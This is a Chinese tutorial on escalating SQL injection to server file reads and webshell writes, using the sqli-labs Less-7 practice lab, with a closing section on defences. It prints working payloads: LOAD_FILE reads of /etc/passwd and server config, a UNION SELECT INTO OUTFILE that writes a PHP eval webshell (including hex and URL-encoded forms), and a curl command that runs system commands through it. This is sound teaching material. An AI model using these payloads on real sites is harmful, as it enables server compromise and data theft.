MySQL文件读写注入实战:从SQL注入到Webshell写入
1. 项目概述:从数据窃取到系统控制
在渗透测试和安全研究领域,SQL注入无疑是最经典、也最危险的漏洞之一。我们通常理解的SQL注入,是攻击者通过构造恶意输入,欺骗后端数据库执行非预期的SQL命令,从而窃取、篡改或删除数据库中的数据。然而,当SQL注入的威力与数据库的“文件读写”功能相结合时,其危害性将发生质变。攻击者不再仅仅满足于窃取数据库里的用户名和密码,而是能够直接向服务器写入一个Webshell,或者读取服务器上的敏感配置文件(如数据库连接信息、系统密钥),从而一举拿下整个服务器。
今天要深入探讨的,正是这样一个进阶的实战场景:利用MySQL数据库的INTO OUTFILE和LOAD_FILE()函数,通过SQL注入漏洞实现服务器文件读写。我们将以著名的SQL注入练习靶场sqli-labs中的Less-7关卡作为实战环境。这个关卡被设计为“导出文件”类型,其核心目标就是引导我们理解并利用INTO OUTFILE语句。对于安全从业者、CTF选手以及希望深入理解Web安全底层原理的开发者来说,掌握这套“组合拳”至关重要。它不仅是漏洞利用技术的深化,更是理解“漏洞如何从应用层穿透到系统层”的绝佳案例。
2. 核心原理与前置条件深度解析
在动手之前,我们必须彻底搞清楚“为什么可以这么做”以及“需要满足哪些苛刻条件”。盲目操作只会碰壁。
2.1 核心武器:MySQL的文件操作函数
MySQL提供了两个关键函数,使得通过SQL语句操作服务器文件成为可能:
INTO OUTFILE/INTO DUMPFILE: 这是SELECT语句的一个子句。它的作用是将查询结果写入服务器上的一个指定文件。INTO OUTFILE: 适合写入文本数据,会在每行末尾添加换行符,并对某些特殊字符进行转义。INTO DUMPFILE: 以二进制格式写入数据,不做任何处理,适合写入二进制文件(如图片、可执行文件、Webshell的PHP代码等)。在写入Webshell时,通常更推荐使用DUMPFILE以避免换行符等问题。- 基本语法:
SELECT ‘your_content’ INTO OUTFILE ‘/absolute/path/to/file’ - 关键限制:必须提供文件的绝对路径。相对路径是无法工作的。
LOAD_FILE(): 这是一个函数,用于读取服务器上的文件内容,并将其作为字符串返回。- 基本用法:
SELECT LOAD_FILE(‘/etc/passwd’),如果权限允许,这将返回Linux系统密码文件的内容。 - 关键限制:同样需要文件的绝对路径。
- 基本用法:
2.2 不可或缺的“通行证”:严苛的前置条件
仅仅知道这两个函数是不够的。要让它们通过SQL注入漏洞发挥作用,数据库运行环境必须满足一系列严格的条件,缺一不可。这也是为什么这种攻击在实际中虽然后果严重,但成功实施的门槛相对较高。
数据库用户必须具备
FILE权限: 这是最根本的权限要求。FILE权限允许MySQL服务进程在操作系统层面进行文件读写。默认情况下,root用户拥有此权限,但普通应用数据库用户通常不应该被授予此权限。在sqli-labs靶场中,为了方便练习,数据库用户通常被赋予了高权限。- 如何检查: 可以通过注入查询当前用户权限:
SELECT file_priv FROM mysql.user WHERE user = CURRENT_USER()。如果返回Y,则拥有FILE权限。
- 如何检查: 可以通过注入查询当前用户权限:
secure_file_priv系统变量必须允许写入这是MySQL 5.5+版本引入的一个至关重要的安全配置。它限制了
INTO OUTFILE和LOAD_FILE()可以操作的文件目录。- 可能的值:
NULL: 禁止任何文件导入/导出操作。这是最安全的设置。空字符串(‘’): 允许在任何有权限的目录进行文件操作(但仍受操作系统权限限制)。目录路径(如‘/tmp/’): 只允许在指定目录下进行文件操作。
- 如何检查: 通过注入查询:
SELECT @@secure_file_priv。 - 在
sqli-labs中: 为了实验,这个值通常被设置为空或/var/lib/mysql-files/之类的目录。在实际渗透测试中,如果发现secure_file_priv为NULL,那么文件读写注入基本不可行。
- 可能的值:
知晓网站的绝对路径: 这是写入Webshell成功的关键。你需要知道网站根目录(如
/var/www/html/)的绝对路径,才能将文件写入能被Web服务器解析执行的位置。- 获取方法: 可以通过报错信息、平台特性(如PHP的
phpinfo()页面)、读取服务器配置文件(如/etc/apache2/sites-enabled/000-default.conf)或利用数据库本身的信息(如@@datadir推测)来获取。
- 获取方法: 可以通过报错信息、平台特性(如PHP的
对目标目录有写权限: MySQL服务进程的运行用户(通常是
mysql或nobody)必须对你要写入的目录拥有写(w)权限。尝试写入/etc/或/root/目录通常会因权限不足而失败。
重要提示: 在实际攻击中,这些条件同时满足的概率并不高,尤其是在配置规范的生产环境中。因此,这种攻击方式更多见于安全测试、CTF竞赛或安全防护薄弱的目标。理解这些条件,也能帮助我们作为防御者,如何有效地加固系统——核心就是遵循最小权限原则,给数据库用户仅授予其必要权限,并正确设置
secure_file_priv。
3. 靶场环境搭建与漏洞点分析
3.1 sqli-labs Less-7 关卡简介
sqli-labs是一个专为学习SQL注入技术而搭建的PHP/MySQL靶场。Less-7的标题是“Dump into Outfile”,已经明确提示了本关的核心。
访问关卡页面,通常是一个简单的输入表单,提示你输入一个ID。后端PHP代码会类似这样构造SQL语句:
$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; $result = mysql_query($sql);注意这里的注入点$id被包裹在两层括号和单引号中:(('$id'))。这决定了我们闭合引号和括号的方式。
3.2 漏洞利用思路推演
我们的目标是利用id参数处的注入,执行INTO OUTFILE语句,将一个PHP Webshell写入服务器。
闭合与注释: 原始语句为
SELECT ... WHERE id=(('$id'))。我们需要先闭合第一个单引号和括号。假设我们输入1')),那么语句变为id=(('1'))')),这会多出一个)和'导致语法错误。因此,更标准的做法是注入1')) --+。--+(+在URL中代表空格)是MySQL的单行注释符,它会注释掉后面多余的括号和引号,使语句变为:SELECT * FROM users WHERE id=(('1')) --+')) LIMIT 0,1,从--+之后的内容都被忽略,语法正确。联合查询写入文件: 我们需要将
SELECT查询的结果“转向”到文件写入,而不是返回给页面。这可以通过联合查询UNION SELECT来实现。构造的Payload骨架如下:')) UNION SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php' --+这个Payload做了以下几件事:
'))闭合了前面的括号和引号。UNION SELECT执行一个新的查询。"<?php @eval($_POST['cmd']);?>"是我们想要写入文件的PHP代码(一个简单的 Webshell,通过POST参数cmd执行任意代码)。INTO OUTFILE '/var/www/html/shell.php'指定将前面查询的结果(即我们的PHP代码)写入到/var/www/html/shell.php文件。--+注释掉原查询剩余部分。
处理字段数匹配:
UNION查询要求前后两个SELECT语句的列数必须相同。我们不知道原SELECT * FROM users查询返回多少列。因此,第一步永远是确定字段数。这通常通过ORDER BY或UNION SELECT递增列数直到不报错来完成。例如,在Less-7中,你可以尝试:')) ORDER BY 1 --+ ')) ORDER BY 2 --+ ')) ORDER BY 3 --+ ')) ORDER BY 4 --+ (如果报错,说明字段数为3)确定字段数(假设为3)后,我们的Payload需要调整为:
')) UNION SELECT 1, "<?php @eval($_POST['cmd']);?>", 3 INTO OUTFILE '/var/www/html/shell.php' --+或者,更简洁地,将Webshell代码放在第一个字段,后面用
NULL或数字占位:')) UNION SELECT "<?php @eval($_POST['cmd']);?>", NULL, NULL INTO OUTFILE '/var/www/html/shell.php' --+
4. 步步为营:实战利用过程详解
下面我们模拟一次完整的、从信息收集到成功写入Webshell的实战过程。假设我们已经通过前序步骤确定了字段数为3,并且当前数据库用户拥有FILE权限。
4.1 第一步:关键信息收集
在“盲写”文件之前,我们必须收集足够的信息。
确认
secure_file_priv设置: 构造Payload:')) UNION SELECT 1, @@secure_file_priv, 3 --+如果返回值为空字符串‘’,则表示可以在任何有权限的目录操作。如果返回一个路径如/var/lib/mysql-files/,则我们只能尝试向该目录写入。在Less-7中,通常设置为空。获取网站绝对路径: 这是最具挑战性的一步。在
sqli-labs中,路径通常是已知的(如/var/www/html/)。但在真实场景,我们可以尝试以下方法:- 利用报错: 故意制造数据库错误,有时会返回包含路径的完整错误信息。
- 利用
LOAD_FILE读取默认配置文件: 例如,尝试读取Apache配置:')) UNION SELECT 1, LOAD_FILE(‘/etc/apache2/sites-enabled/000-default.conf’), 3 --+,从配置中查找DocumentRoot。 - 利用PHP特性: 如果存在文件包含、
phpinfo()等漏洞,可以轻松获取路径。 - 基于已知路径猜测: 常见的路径有
/var/www/html/,/usr/local/apache2/htdocs/,C:\xampp\htdocs\等。
假设我们通过某种方式确定路径为
/var/www/html/sqli-labs/。
4.2 第二步:构造并执行写入Payload
现在,我们拥有了所有必要条件:
- 字段数:3
secure_file_priv:‘’- 网站绝对路径:
/var/www/html/sqli-labs/ - 写入权限:假设有(靶场环境通常有)
我们构造最终的Payload。这里有一个至关重要的细节:在URL中传递时,PHP代码中的引号需要被URL编码,否则会破坏Payload结构。
我们的Webshell代码是:<?php @eval($_POST[‘cmd’]);?>。注意里面的单引号‘cmd’。
我们需要将其中的单引号进行URL编码(变为%27),同时整个Payload需要经过URL编码以确保传输正确。
原始Payload:
‘)) UNION SELECT 1, “<?php @eval($_POST[‘cmd’]);?>”, 3 INTO OUTFILE ‘/var/www/html/sqli-labs/shell.php’ --+进行URL编码(重点处理引号和空格):
‘编码为%27“编码为%22- 空格编码为
%20或+ #(如果我们用#注释) 编码为%23
一个更稳妥的构造方式是,将Webshell代码作为十六进制字符串,这样可以完美避免所有引号和特殊字符问题。使用0x开头表示十六进制。
将<?php @eval($_POST[‘cmd’]);?>转换为十六进制。可以使用在线工具或Python:
‘<?php @eval($_POST[\’cmd\‘]);?>’.encode(‘hex’) # 得到:3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e那么Payload可以写为:
‘)) UNION SELECT 1, 0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e, 3 INTO OUTFILE ‘/var/www/html/sqli-labs/shell.php’ --+这样完全无需担心引号转义。
最终,在浏览器地址栏或攻击工具中发起的请求类似:
http://your-target/sqli-labs/Less-7/?id=‘)) UNION SELECT 1, 0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e, 3 INTO OUTFILE ‘/var/www/html/sqli-labs/shell.php’ --+注意,这里的‘在URL中也需要编码为%27,所以实际请求是:
http://your-target/sqli-labs/Less-7/?id=%27))%20UNION%20SELECT%201,%200x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e,%203%20INTO%20OUTFILE%20%27/var/www/html/sqli-labs/shell.php%27%20--+发送这个请求。如果页面没有报错,而是正常返回(可能是一片空白或原查询结果),那么很可能写入成功了。
4.3 第三步:验证与利用
验证文件是否写入: 直接访问我们写入的文件:
http://your-target/sqli-labs/shell.php。- 如果页面空白(没有报
404 Not Found或Permission denied),说明文件存在且被Web服务器成功解析(没有输出是因为Webshell代码只是定义了函数,没有执行)。 - 可以尝试读取一个已知文件来验证:修改Payload,写入一个输出
phpinfo()的简单文件:<?php phpinfo();?>,然后访问看是否能显示信息。
- 如果页面空白(没有报
使用Webshell: 如果写入的是
eval型Webshell,我们可以使用curl工具或浏览器插件(如HackBar)来执行命令。- 使用
curl:
这条命令会向curl -X POST http://your-target/sqli-labs/shell.php -d “cmd=system(‘whoami’);”shell.php发送一个POST请求,参数cmd的值为system(‘whoami’);,服务器会执行whoami命令并返回结果(通常是www-data或nobody,即Web服务器的运行用户)。 - 使用图形化工具: 如中国菜刀(历史工具,现不推荐)、AntSword(蚁剑)、Cobalt Strike等。这些工具提供了图形化界面,可以方便地进行文件管理、终端模拟、数据库连接等操作。
- 使用
实操心得:路径与权限的坑在实际操作中,90%的失败源于路径错误或权限不足。
INTO OUTFILE不能创建不存在的目录。如果路径是/var/www/html/test/shell.php,但test目录不存在,写入会失败。务必确保目录存在且MySQL进程用户有写权限。在Linux下,可以尝试写入/tmp/目录,这个目录通常全局可写,然后再考虑如何从/tmp/移动到Web目录(可能需要其他漏洞配合)。
5. 防御策略与安全编程实践
作为开发者,了解攻击手段是为了更好地防御。以下是如何从根本上杜绝此类漏洞的建议:
最小权限原则(最关键):
- 为Web应用创建专用的数据库用户,并授予其最小必要权限。通常只需要
SELECT,INSERT,UPDATE,DELETE。绝对不要授予FILE,PROCESS,SUPER等高级权限。 - 在MySQL中,使用命令检查并回收权限:
REVOKE FILE ON *.* FROM ‘app_user’@‘localhost’;
- 为Web应用创建专用的数据库用户,并授予其最小必要权限。通常只需要
安全配置MySQL:
- 设置
secure_file_priv。在生产环境中,强烈建议将其设置为一个特定的、非Web可访问的目录,或者直接设置为NULL以完全禁用文件导入导出功能。- 在
my.cnf或my.ini配置文件中添加:secure_file_priv = /var/lib/mysql-files/ - 然后重启MySQL服务。
- 在
- 设置
使用预处理语句(参数化查询):
- 这是防止SQL注入的黄金准则。无论是PHP的PDO、MySQLi,还是Java的PreparedStatement,Python的
cursor.execute(),其原理都是将SQL代码与数据分离,从根本上杜绝用户输入被解释为代码的可能。 - PHP PDO示例:
$stmt = $pdo->prepare(“SELECT * FROM users WHERE id = :id”); $stmt->execute([‘:id’ => $id]); $results = $stmt->fetchAll();
- 这是防止SQL注入的黄金准则。无论是PHP的PDO、MySQLi,还是Java的PreparedStatement,Python的
输入验证与过滤:
- 对用户输入进行严格的类型检查(例如,
id必须是整数就强制转换为int)。 - 使用白名单机制过滤输入,只允许预期的字符集。
- 注意: 转义(如
mysql_real_escape_string)不是万能的,在复杂查询或特定编码下可能被绕过。它应作为辅助手段,而非主要防线。
- 对用户输入进行严格的类型检查(例如,
错误处理:
- 禁止向用户显示详细的数据库错误信息。使用自定义的错误页面,避免将数据库结构、路径等信息泄露给攻击者。
Web目录权限控制:
- 确保Web目录下的文件权限设置正确,避免不必要的写权限。上传目录应单独设置,并限制其不可执行脚本。
通过sqli-labs Less-7的实战,我们深刻体会到,一个简单的注入点如何与数据库的“特性”结合,产生足以颠覆系统的破坏力。防御的重点不在于追着每一种攻击Payload去封堵,而在于构建纵深的安全体系:从代码层(预处理语句)、到数据库层(最小权限、安全配置)、再到系统层(文件权限),层层设防,才能最大程度地保障应用安全。对于安全研究者而言,这个过程则是一次对漏洞链路的完整透视,理解了原理,无论是攻击还是防御,都将更加得心应手。
